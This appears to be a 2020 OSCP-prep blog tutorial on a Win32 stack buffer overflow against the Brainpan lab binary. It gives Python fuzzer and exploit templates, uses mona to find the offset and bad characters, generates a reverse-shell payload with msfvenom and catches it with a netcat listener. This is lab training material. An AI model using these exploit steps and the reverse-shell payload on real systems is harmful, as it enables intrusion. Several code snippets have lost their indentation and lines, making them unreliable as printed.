Buffer Overflow — Win32 Stack Based Buffer Overflow

10 min readDec 29, 2020



In today’s blog, i’ll share the steps that I used to exploit buffer overflow during the OSCP labs. This can be apply to any Win32 stack based buffer overflow without any protection enable eg: SEHOP, ASLR, DEP, CFG… I decided to write this article to make sure I understood how buffer overflows attack works. Thanks Tib3rius for helping me understand better how buffer overflow works. This article is based from his buffer overflows cheat sheet which I highly recommend.

There’s a great room over at TryHackMe made by Tib3rius to practice buffer overflows..Saving you times from downloading binaries and dealing with VMs (You can skip the Lab Environment section if you decide to take this route, I highly recommend you do TryHackMe room) Link below:


What is a Buffer Overflow?

A buffer overflow is the art of exploiting a vulnerability by overwriting the memory of a program/application by changing the execution flow. The attacker can insert code to instruct the application to execute malicious code in the memory.

I’m not gonna dive deep into how everything works because that wasn’t my intention when writing this.

Lab Environment

I’m using VMware Fusion and installed a Windows 10 virtual machine from the Microsoft Evaluation Center:

Next, you need a debugger:

And finally, I suggest to install mona. This is optional but HIGHLY recommended.

The installation of Windows 10 and Immunity Debugger is pretty straight forward. For mona, you just need to git clone the repo and copy mona.py to the PyCommands Folder.

Location of PyCommand:

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\

Note from Corelan Team: Install Python 2.7.14 (or a higher 2.7.xx version) into c:\python27, thus overwriting the version that was bundled with Immunity. This is needed to avoid TLS issues when trying to update mona. Make sure you are installing the 32bit version of python.

You will need to download some application to practice so I made a list of simple application vulnerable to buffer overflows:

Buffer OverFlow Configurations

Once you’re all set, the first thing to do is to start Immunity Debugger as Administrator. I’ll be exploiting Brainpan in this article.

  1. Right-click on Immunity Debugger and choose Run as administrator
Fig 1. Run as administrator

2. Once Immunity Debugger is opened, you can attach or open the executable program.

Fig 2. Open or Attach program

3. When you opened a vulnerable program, you’ll have to set your working folder for mona, notice that the program is on Paused (bottom right corner). Everytime you want to run mona commands, you have to enter them in the bottom left corner (indicated by the red arrow). The %p will create the name of the executable for the path. You can choose any name you want if you don’t want to use %p.

!mona config -set workingfolder c:\mona\%p
Fig 3. Setting Working Folder

4. Press enter and you’ll see this in immunity debugger:

Fig 4. Working folder ready

We can come back to our main window by doing:

windows > CPU - main thread, modules brainpan
Fig 5. Changing Window

Once we’re back in the main window, we can start fuzzing the application.


Fuzzing is a technique that involves providing random data as inputs to crash the program. You have to adapt the fuzzer depending on the application. In this article, the fuzzer is extremely simple.

Here’s a python template to fuzz an application vulnerable to a buffer overflow. You can tweak it according to your needs (if you need to add a username, password…) The fuzzer send a bunch of A’s to the target in hoping to crash it.

import socket, time, sys

ip = "" #IP OF TARGET
port = 9999 #TARGET PORT
timeout = 5 # Create an array of increasing length buffer strings. buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print("Fuzzing with %s bytes" % len(string))
print("Could not connect to " + ip + ":" + str(port))

The goal is to crash the application using the fuzzer. We can press the play button in immunity debugger. The application should be running:

Fig 6. Running the application

Now that the application is running, we can send our fuzzer to crash the application, make sure to use your Windows 10 IP:

python fuzzer.py
Fig 7. Fuzzing

The fuzzer stop sending bytes after sending 600 bytes to the target machine. This is because the application crashed. We can go back to the Windows machine and we can see that the application, indeed, crashed.

The EIP should be overwritten with the value 41414141, this is the hex value of AAAA that we sent with our fuzzer.

Fig 8. Crashing the application

Controlling EIP

Once we know that we can crash the application by sending 600 bytes of random data, our next goal is to gain control of the EIP. It’s hard to know exactly which A’s are exactly on the EIP because we only sent a bunch of A’s (obviously).

We can generate a cyclic pattern to find the exact offset of the crash. We can use mona or msf-pattern_create. I like to use msf-pattern_create. The size will be the number of bytes that crashed the application, in this case, 600.

msf-pattern_create -l 600
Fig 9. Generating cyclic pattern

You can do the same thing with mona inside immunity debugger:

!mona pc 600

Now that we have a generated pattern, we will use it in our exploit.


It’s time to exploit the vulnerabilty. You can use the template below to create your exploit:

import socket

ip = "" #IP OF TARGET

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Could not connect.")

We can now copy and paste the cyclic pattern we generated in the payload section of the script.

It should look like this:

Fig 10. Exploit with cyclic pattern

Close Immunity Debugger, start it again running as administrator, open the program and click on the play button.

Run the exploit against the target and the application should crash.

Fig 11. Crashing the application

We can see our random letters we just sent in the ESP. We need to find the exact offset. We’ll use mona for this, the distance value is the same as the cyclic pattern we generated:

!mona findmsp -distance 600
Fig 12. Finding exact offset

mona examine the registers and gives the exact offset of 524 on the EIP line.

We know that the exact offset is 524 so we can modify our exploit offset but with a little twist. Since we know the offset, we’ll try to write BBBB to the EIP. We’ll add the BBBB to the retn variable in the python script and remove the payload content:

Fig 13. Updating exploit

Close Immunity Debugger, start it again running as administrator, open the program and click on the play button.

Run the exploit against the target and the application should crash. In Immunity Debugger, the EIP should contain our value of 42424242, the hex value of BBBB. This mean that we have complete control over the EIP.

Fig 14. Overwriting EIP

We can inspect the stack and see our BBBB:

Fig 15. BBBB in stack

Finding Bad Characters

Depending on the programs, some byte characters are not allowed and can cause issues during the exploitation. We need to find which byte characters is causing issues. The null byte (x00) is always considered an issue when it comes to shellcoding so we can already rule that one out.

We can generate a long list of bad characters without the null byte using this short python script:

from __future__ import print_function

listRem = "".split("\\x") #CHANGE THE BADCHARS
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\x" + "{:02x}".format(x), end='')

Let’s run the script. We can place the result inside our payload variable in the exploit script:

Fig 16. Generating bad chars

Copy all of the bad characters and paste it in the exploit like the figure below:

Fig 17. Bad characters added to exploit

Next, we’ll go back to Immunity Debugger and generate a bytearray using mona:

Note: We could’ve use the byte generated by mona below instead of the python script but I think it’s faster to use the python script.

!mona bytearray -b "\x00"
Fig 18. Generating bytearray with mona

Close Immunity Debugger, start it again running as administrator, open the program and click on the play button and send the exploit. The application should crash again and now we can find the bad characters using mona. We use the ESP address to compare the bad characters, in this case it’s 005FF910:

!mona compare -f C:\mona\brainpan\bytearray.bin -a 005FF910
Fig 19. Comparing bad characters

Once we press enter, mona is comparing for us the bad characters. We could do it manually but I think mona is more reliable since we can miss one bad characters if we’re tired or else.

The result should give unmodifed that means there’s no more bad characters. This is great.

Fig 20. Result from mona

The only bad character is \x00.

Note: For example, if mona find more bad characters, we need to do the whole process again but we have to exclude the bad characters. Below is an example:

Let’s say mona found \x0A to be a bad character, we need to generate a new list of bad characters, we add \x0A to the listRem variable:

from __future__ import print_function

listRem = "\\x0a".split("\\x") #CHANGE THE BADCHARS
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\x" + "{:02x}".format(x), end='')

You copy the output of the script and paste it in the payload variable of the exploit.

Next, we generate a new bytearray with mona with the excluded bad chars.

!mona bytearray -b "\x00\x0A"

Close Immunity Debugger, start it again running as administrator, open the program and click on the play button and send the exploit. Then compare again using mona:

!mona compare -f C:\mona\PATH\bytearray.bin -a ESP_ADDRESS

This is a long process if you have a lot of bad characters. You have to do this until you have the mona status unmodified.

Finding a Jump Point

We now have to find a jump address to redirect the EIP to point to our shellcode during the crash. We can use mona to find a jmp address

Close Immunity Debugger, start it again running as administrator, open the program and search for a jmp address:

JMP ESP — inside .exe

!mona jmp -r esp -cpb "\x00"

mona found a valid pointer: 0x311712f3

Fig 21. Finding jmp point

NOTE: If you can’t find a valid .exe, you can use a DLL

JMP ESP — inside DLL

!mona modules

We need to find a .dll in the list mona gave us where Rebase, SafeSEH, ASLR, NXCompat are sets to False.

Once you have found a valid DLL, you can run the command below to search for a JMP ESP(FFE4) inside the DLL:

!mona find -s "\xff\xe4" -m <DLL>

Now that we have our JMP point, we’ll use it as the return address. We can update the retnvariable in our exploit with this new address. We have to write it backwards since it’s little endian. Little-endian is when the least significant bytes are stored before the more significant bytes.

In this case, our address:




Update the exploit like this:

Fig 22. Updating retn variable in exploit

Now we’re ready to create our malicious code


We can now create our shellcode with msfvenom. We add the -b argument to specify the bad characters.

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=80 EXITFUNC=thread -v payload -b "\x00" -f py --smallest


Fig 23. Shellcode

Now that you have your shellcode ready, you can copy and paste it in the payload variable of the exploit:

Fig 24. Adding our shellcode

No Operation Instructions

Usually, we have to add a series of No Operation (or NOP) instructions, which have an opcode value of 0x90. These instructions do nothing. The NOP sled will let the CPU slide through the NOPs to its final destination (payload).

You can add the NOP to the padding variable of the exploit.

NOTE: Sometimes you need more NOPs depending on the application. In this case, 16 is enough.

padding = "\x90" * 16

Final Exploit

We’re ready to fully exploit the buffer overflow vulnerablity. Let’s go over our final exploit code:

Fig 24. Adding our shellcode
  • We have set the offset to: 524
  • Our return address is: \xf3\x12\x17\x31
  • We added NOPs: x90 * 16
  • We added our shellcode

Start a Netcat listener:

sudo nc -vnlp 80

Close Immunity Debugger, start it again running as administrator, open the program and click on the play button.

Finally, send the exploit to the target machine and you should receive a shell!

Fig 26. Getting a shell


Feel free to reach out if you have any questions.